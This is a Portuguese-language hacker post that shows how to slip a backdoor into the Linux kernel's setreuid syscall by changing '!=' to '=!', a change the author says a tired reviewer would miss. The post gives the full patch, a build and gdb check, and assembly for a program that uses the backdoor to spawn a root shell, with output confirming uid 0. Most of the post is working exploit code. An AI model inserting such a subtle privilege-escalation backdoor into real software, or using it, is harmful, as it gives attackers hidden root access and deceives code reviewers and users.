Backdoor em Lunix Kernel
oi lindinhos, assim num piscar de peida, apresento-vos uma forma simples e subtil de inserir uma backdoor num linux kernel e para isso foquei-me particularmente na syscall setreuid :
SYSCALL_DEFINE2(setreuid, uid_t, ruid, uid_t, euid)
{
const struct cred *old;
struct cred *new;
int retval;
...
if (new->uid != old->uid)
{
retval = set_user(new);
if (retval < 0)
goto error;
}
...
se quisessemos "backdoorar" a syscall em questao bastava-nos negar o valor do uid antigo e atribuir o valor do mesmo ao novo uid antes da funcao set_user.
e como negar o valor do uid actual ? tenham em conta o seguinte exemplo :
charlie@inferno:[~]$ cat > getuid.c << EOF
>#include <stdio.h>
>
>int main() {
>
> printf("uid=%d\n", !getuid());
>}
>EOF
charlie@inferno:[~]$ gcc -o getuid getuid.c
charlie@inferno:[~]$ id
uid=1001(charlie) gid=100(users) groups=100(users)
charlie@inferno:[~]$ ./getuid
uid=0
charlie@inferno:[~]$
como podem verificar, o valor devolvido pela funcao getuid foi negado pelo operador "!" por outro lado, se o nosso uid fosse 0, o valor apresentado seria 1 :
charlie@inferno:[~]$ sudo ./getuid Password: uid=1 charlie@inferno:[~]$
entao para atribuir o valor *negado* do antigo uid ao novo uid e assim obter root atraves da syscall setreuid, basta-nos substituir a linha
if (new->uid != old->uid) por if (new->uid =! old->uid).
no que toca a codigos de *mil* linhas, como o do linux kernel, e' pouco provavel que um par de olhos cansados e cheios de cavalo note a diferenca entre um "!=" e "=!".
aqui vai o patch :
[ setreuid.patch ]
--- kernel/sys.c
+++ kernel/sys.c
@@ -636,7 +636,7 @@
goto error;
}
- if (new->uid != old->uid) {
+ if (new->uid =! old->uid) {
retval = set_user(new);
if (retval < 0)
goto error;
charlie@inferno:[/usr/src/linux-2.6.29.1]$ sudo patch -p0 < setreuid.patch
Password:
patching file kernel/sys.c
charlie@inferno:[/usr/src/linux-2.6.29.1]$ sudo make bzImage &> /dev/null
charlie@inferno:[/usr/src/linux-2.6.29.1]$ gdb vmlinux
(no debugging symbols found)
(gdb) disas sys_setreuid
...
0xc1030e98 <sys_setreuid+149>: xor eax,eax eax = 0
0xc1030e9a <sys_setreuid+151>: cmp DWORD PTR [edi+0x4],0x0 compara o uid antigo com 0x0
0xc1030e9e <sys_setreuid+155>: sete al al = 0 (zero flag = 0)
0xc1030ea1 <sys_setreuid+158>: test eax,eax
0xc1030ea3 <sys_setreuid+160>: mov DWORD PTR [esi+0x4],eax uid novo = eax (0)
...
(gdb) q
charlie@inferno:[/usr/src/linux-2.6.29.1]$
reboot, siga, fumos.
charlie@inferno:[~]$ cat > org.asm << EOF > bits 32 > > > global _start > > > _start > > > push byte 0x46 > pop eax > > dec ebx > dec ecx > > int 0x80 > > inc ecx > push ecx > push dword 0x68732f2f > push dword 0x6e69622f > > push esp > pop ebx > > push byte 0xb > pop eax > > int 0x80 > EOF charlie@inferno:[~]$ nasm -f elf org.asm && ld -o orgasm org.o charlie@inferno:[~]$ ./orgasm bash-3.1# id uid=0(root) gid=100(users) groups=100(users) bash-3.1# exit charlie@inferno:[~]$
tendo em conta que provavelmente este sera' o meu ultimo post para as intermetes, so vos digo :
gosto muito da minha gatinha e acho que ela gosta de mim.
eu sou maluco e eu tambem. adeus.